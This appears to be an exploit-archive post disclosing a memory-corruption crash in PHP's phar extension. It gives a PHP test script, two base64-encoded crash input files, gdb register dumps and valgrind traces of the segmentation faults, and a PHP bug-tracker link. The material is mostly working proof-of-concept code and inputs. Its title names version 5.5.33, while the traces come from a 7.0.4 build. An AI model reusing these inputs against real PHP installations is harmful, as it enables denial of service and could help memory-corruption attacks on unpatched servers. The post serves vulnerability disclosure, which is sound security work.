PHP 5.5.33 Invalid Memory Write
Posted on 31 March 2016
# Exploit Title: Invalid memory write in phar on filename with in name # Date: 2016-03-19 # Exploit Author: @vah_13 # Vendor Homepage: https://secure.php.net/ # Software Link: https://github.com/php/php-src # Version: 5.5.33 # Tested on: Linux Test script: --------------- cat test.php ------------------- <?php $testfile = file_get_contents($argv[1]); try { $phar = new Phar($testfile); $phar['index.php'] = '<?php echo "https://twitter.com/vah_13 ?>'; $phar['index.phps'] = '<?php echo "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"; ?>'; $phar->setStub('<?php Phar::webPhar(); __HALT_COMPILER(); ?>'); } catch (Exception $e) { print $e; }?> ---------------------------------------------------------------------------------- PoC 1 root@TZDG001:/tmp/data2# base64 ret/crash13 CkTJu4AoZHKCxhC7KlDNp2g5Grx7JE092+gDAADJVR1EZS8vL/oAAPovLy8v5y8vLy9lZWVlZWVl DAwMC+MMDAwMDM4MDAwgBwwMDAwMDAxQDC8uLi8jLy88Ly8u+C8vLxERERERERERpXRDbnQgdGhh dCBtVnJrV3h4eHh4eNt4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4ePh4Ly8vLy8vLy8vLy8v Ly8vLy8vLy8vLy8vLkYvLy8vLy8vLy8vLy9kJy8vLy8vLy8vLy8v8+TzMZovLysvLy8vL3l5eXl5 eXl5eXkpIHsEAAYgICAveHh4eHh4eHh4eAF4AAJ4eP8vIExvYWQgY29tbWFuZChTgG5lIHV0aWxp dHkKICAgIGluY2yKZGUuLi4uLi4uLi4uPCYuLi4ucG1kLnBoYXIudmVKCiAgJCAvLyBSdegDIGxp bmUgTW50ZXJmYWxlCiAgIBxleGkAAP//SFBNRFxUZXh0VUl5Q29tbWFuZAAANwAAAHNyY1Rf/39N UElMRVIodjsgPz4MChAAAAANAgAAEP//+QEAAAAAAAAiAAAqAAAAlnJjL21haW4vlA8uLlEvci8u LhAA2GVzZXRzL2NsZWFucipeTUxSZW5kZXLJYEC2IQAAAABjb3JlrgAAAAAAI2OcwrYAAAAAAA0A NwAAAHMASRwAc2V0cy91bndzcmMAnjgjW7gwgAAAcmMAAgAAADN1bGVzZXRzL2MgAAAAb///f/9p YWwueG1s4BIAAB+u4VZzcmMvbWFpbi9yZXNvdXJpZ24ueABzcmMvbQA9dr2itiEASRyXl5eXl5eX l5etl5eXlwAMc3JjL21hW24v6Bvzb3VyY2VzL3J1//+AAHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0 dHR0dHR0WWV0cy9uYRwcMBwcHBwcHBwcAB+u4TSoCwD1A3lvdXJjZXMvdmVsb2Qxmi9LZ01yAB+u 4RgAACCu4VbjDy5nLnhtbP8vAC4uLjwmLnh4eHh4eHh4eHh4+HgZLy8vLi4ucG1kLnBoL3Jlc291 cmNjZXNzcgCAAAAuGnVzc3IvLg0AAHFF7BMAc3JjL/9haW4vcGhwL1BIUE1EL1BhcnMnJycnJycn JycnJycnJyfnAAAKQ5bxci5waHBtGAAAH67hGAAAH67hVuMPLi5RLy8vLy8vc3JW4QcAANevurC2 IQAAAAcAACwvdXNyLy4uL1KHAK78Vm4vcGhwL1BIUE1EL1JlbmRlcmVyKl5NTFJlbmRlcslgQLYh AAAAAAAAGwABAHNyYy9tYWluL3BoNy9QSFBNRC9SdVRlLnCAcDIYAAAfruEAAHNyYy9tYWluL3AA iy0AAABzcmMAAFeu4VYwCAAAPXa9oi8vLy8vLy8vLy8vLy8vLy8vL28v8+TzOoAAAGhwL1D/CzpE ZXZlbG9kMZovbmdNZXRob2QQcGiKlgwAIAAAAFb8BQAAI2OcwrYhAAAAACAANwAAAGNyYy9tYc7O zs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs4AEa7hVnNyYy+A////L9YhzLYhAADg////MXBo cC9QSFBNRC9PdW1hf24vcGhwL1BIUGFEUFBQUFBQUFByYy9tYWluL3BocC9QSFBNRC9SdWxML0Rl c2lnZy9Ub29PYW55TWV0aG9kfy4fruFWYy9tYWluL3BocC9QSFBNRC9SdWxlL0Rlc2lnbi8vRGV2 ZWxvZFxlbnRDbwMAAGMvbQA9dr2itiEASRwAcG1kLnARruFWjwUF//8FcIWYAAIAAAAvLi4v//// /3JILi4vLi91c3IvLi4AADYAAABecmMvUEhQTUQvUnVsZS9EZXNpZ1svV2VpAGhwAAAAc3JjLy8v LwAAAQDk8zGaLy//L1J1bGUvRJCQkJBAkJCQkJDQkJBzkJCQkJCQkJCQkJCQkJCQkG50cm9w6HAu LgAAAQAuLi4uLi4uLi4uL1BIUE1EL091bWFpdi9waHAvUEhQTURlcgAEQ2hpbGRyZW4ucGhwbQsA AB+u4VZ+BQAAgLP4+7Yh3////wAOAAAfruxWbQYAADplbi4vdf//Ly4u5i4vdQBkHwAD6AAD6AAN ADcuLhAA2DUAAAAyAAAAc3JkLy8uLi8uL1Jzci4vdXNycGguUS8vLy9/AAAAL3Vzci+uQi8uL3Vz ci8vLi98c3IvLhciLi91c3IvLi4vdXOALy4uL/////9ldHMvYyAAAABv//9//2lhbC54tbW1tbW1 tbW1tbW1vABjL+ZJTnUgZC4vc5QPAAAEAHIvLi4vdXNyLy4uLy4vdXNyLy4AZC4vAQAAAC4uL3UQ AC8uLi8uL3Vzby4vdXNyDy4uUS8vLy8vL3NyLy4vc3IvLi4odXNyAAIAAC4vdXNzci8uLi91e3Iv rkIvLmRvci9hdRAA2DVXu7YhABcuL3Vzci8uAS8u (gdb) r test.php ret/crash13 Starting program: /tmp/php-7.0.4/sapi/cli/php test.php ret/crash13 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. zend_string_init (persistent=0, len=2, str=0x121a64c "->") at /tmp/php-7.0.4/Zend/zend_string.h:157 157 zend_string *ret = zend_string_alloc(len, persistent); (gdb) i r rax 0xae6572 11429234 rbx 0x7fffffffa880 140737488332928 rcx 0x64c 1612 rdx 0x2 2 rsi 0x3 3 rdi 0xae658a 11429258 rbp 0x2 0x2 rsp 0x7fffffffa7e0 0x7fffffffa7e0 r8 0xfffffffffffffffb -5 r9 0x1 1 r10 0x3 3 r11 0x1214fc0 18960320 r12 0x1206b7a 18901882 r13 0x4 4 r14 0x121a64c 18982476 r15 0x7fffffffa880 140737488332928 rip 0xd531b4 0xd531b4 <add_assoc_string_ex+116> eflags 0x10206 [ PF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 ***************************************************************** PoC 2 root@dns:~/php-src# base64 ./bck_out/6648 Ly4vdXNyLy4uLy4vdXNy4uLi4uLi4uLi4uLi4uLi4uLi4uLit7e3t7dhI1VmbH8AIGdsb1Rh/39i b25ziGFudCB0AYCAIG1QX1CKRQAAgABFQVMsJywgJ3BoYXInKXNfLy4uLy4vU3NyLy4uL31zci8u LjwuL3Vzci8ubWFxUGhhciggJ3Bokm1kLnBoYXIAAAB/CgovL4iInoiIiIiIiIh1Li9//+ggQ29u ZmlndXJcB2lCY2x1ZC91c3IvLoiJiIiIiKKIiIiIXFxcXFxHXFxcXFxcXFxcXFxciA0uL3VzcmUg cC8uLi91c3IvLi4uL3MQLy4ULxEvgHNyNiBpbmNsdWQv9G8gdXNcIHRoaXMgcGhhctlzZXRfaW5j iYgmMSYmJiY4/e3t7WFyI2VmaW5lIGdsb1T/FhYWFhYWFhYWFhYWFhYWFhYWFhYWaGFyJyk7Co5k ZV9wYXRoKCkpOxYKaWYgKGlzjn+UKCRhcmV2KSAmJiByZWEvdXNyLy4QLy4vdXNyLy4uL31zci8u LjwuL3Vzci8u5i91c3IvLi4vLi91c3IuLj0ndXNyLy4uEADJci8uJi8uL3VzEC9AEhwuL3NyLy4u L3Vzci8uLi8uL2lziz4uLi8uL3Vzci8oLi91bmNsdWQvdVNyLy6IiIikiIiIcwAgLi5y3zouLy4v JiYmJlMmJiYmOBDt7e0= ./bck_out/6648 ==4103== Source and destination overlap in memcpy(0x6e5d800, 0x6e5d798, 291) ==4103== at 0x4C2D75D: memcpy@@GLIBC_2.14 (vg_replace_strmem.c:915) ==4103== by 0x6AD1B5: _estrdup (zend_alloc.c:2558) ==4103== by 0x6880FD: php_stream_display_wrapper_errors (streams.c:152) ==4103== by 0x68AE4B: _php_stream_opendir (streams.c:1994) ==4103== by 0x5E986A: spl_filesystem_dir_open (spl_directory.c:236) ==4103== by 0x5ED77F: spl_filesystem_object_construct (spl_directory.c:724) ==4103== by 0x6C1655: zend_call_function (zend_execute_API.c:878) ==4103== by 0x6EBF92: zend_call_method (zend_interfaces.c:103) ==4103== by 0x5A44A8: zim_Phar___construct (phar_object.c:1219) ==4103== by 0x75D143: ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER (zend_vm_execute.h:1027) ==4103== by 0x70CFBA: execute_ex (zend_vm_execute.h:423) ==4103== by 0x76D496: zend_execute (zend_vm_execute.h:467) ==4103== ==4103== Invalid read of size 8 ==4103== at 0x6ACEC3: zend_mm_alloc_small (zend_alloc.c:1291) ==4103== by 0x6ACEC3: zend_mm_alloc_heap (zend_alloc.c:1362) ==4103== by 0x6ACEC3: _emalloc (zend_alloc.c:2446) ==4103== by 0x6DC4E0: zend_hash_real_init_ex (zend_hash.c:140) ==4103== by 0x6DC4E0: zend_hash_check_init (zend_hash.c:163) ==4103== by 0x6DC4E0: _zend_hash_add_or_update_i (zend_hash.c:563) ==4103== by 0x6DC4E0: _zend_hash_str_update (zend_hash.c:667) ==4103== by 0x6D21FE: zend_symtable_str_update (zend_hash.h:407) ==4103== by 0x6D21FE: add_assoc_str_ex (zend_API.c:1384) ==4103== by 0x6E8AA6: zend_fetch_debug_backtrace (zend_builtin_functions.c:2670) ==4103== by 0x6EDB3A: zend_default_exception_new_ex (zend_exceptions.c:213) ==4103== by 0x6D1DBA: _object_and_properties_init (zend_API.c:1311) ==4103== by 0x429178: zend_throw_exception (zend_exceptions.c:877) ==4103== by 0x4292A5: zend_throw_error_exception (zend_exceptions.c:910) ==4103== by 0x42639C: php_error_cb (main.c:1041) ==4103== by 0x427F4B: zend_error (zend.c:1163) ==4103== by 0x426FFD: php_verror (main.c:897) ==4103== by 0x427306: php_error_docref1 (main.c:921) ==4103== Address 0x5c5c5c5c5c5c5c5c is not stack'd, malloc'd or (recently) free'd ==4103== ==4103== ==4103== Process terminating with default action of signal 11 (SIGSEGV) ==4103== General Protection Fault ==4103== at 0x6ACEC3: zend_mm_alloc_small (zend_alloc.c:1291) ==4103== by 0x6ACEC3: zend_mm_alloc_heap (zend_alloc.c:1362) ==4103== by 0x6ACEC3: _emalloc (zend_alloc.c:2446) ==4103== by 0x6DC4E0: zend_hash_real_init_ex (zend_hash.c:140) ==4103== by 0x6DC4E0: zend_hash_check_init (zend_hash.c:163) ==4103== by 0x6DC4E0: _zend_hash_add_or_update_i (zend_hash.c:563) ==4103== by 0x6DC4E0: _zend_hash_str_update (zend_hash.c:667) ==4103== by 0x6D21FE: zend_symtable_str_update (zend_hash.h:407) ==4103== by 0x6D21FE: add_assoc_str_ex (zend_API.c:1384) ==4103== by 0x6E8AA6: zend_fetch_debug_backtrace (zend_builtin_functions.c:2670) ==4103== by 0x6EDB3A: zend_default_exception_new_ex (zend_exceptions.c:213) ==4103== by 0x6D1DBA: _object_and_properties_init (zend_API.c:1311) ==4103== by 0x429178: zend_throw_exception (zend_exceptions.c:877) ==4103== by 0x4292A5: zend_throw_error_exception (zend_exceptions.c:910) ==4103== by 0x42639C: php_error_cb (main.c:1041) ==4103== by 0x427F4B: zend_error (zend.c:1163) ==4103== by 0x426FFD: php_verror (main.c:897) ==4103== by 0x427306: php_error_docref1 (main.c:921) Segmentation fault Program received signal SIGSEGV, Segmentation fault. zend_mm_alloc_small (size=<optimized out>, bin_num=16, heap=0x7ffff6000040) at /root/php_bck/Zend/zend_alloc.c:1291 1291 heap->free_slot[bin_num] = p->next_free_slot; (gdb) i r rax 0x5c5c5c5c5c5c5c5c 6655295901103053916 rbx 0x8 8 rcx 0x10 16 rdx 0x7ffff60000c0 140737320583360 rsi 0x10 16 rdi 0x120 288 rbp 0x7ffff6000040 0x7ffff6000040 rsp 0x7fffffffa230 0x7fffffffa230 r8 0xf74460 16204896 r9 0x7ffff6013170 140737320661360 r10 0x0 0 r11 0x101 257 r12 0x7ffff605c658 140737320961624 r13 0x7ffff605c640 140737320961600 r14 0x7ffff60561f8 140737320935928 r15 0x8439b8 8665528 rip 0x6acec3 0x6acec3 <_emalloc+115> eflags 0x10206 [ PF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 https://bugs.php.net/bug.php?id=71860 https://twitter.com/vah_13 https://twitter.com/ret5et
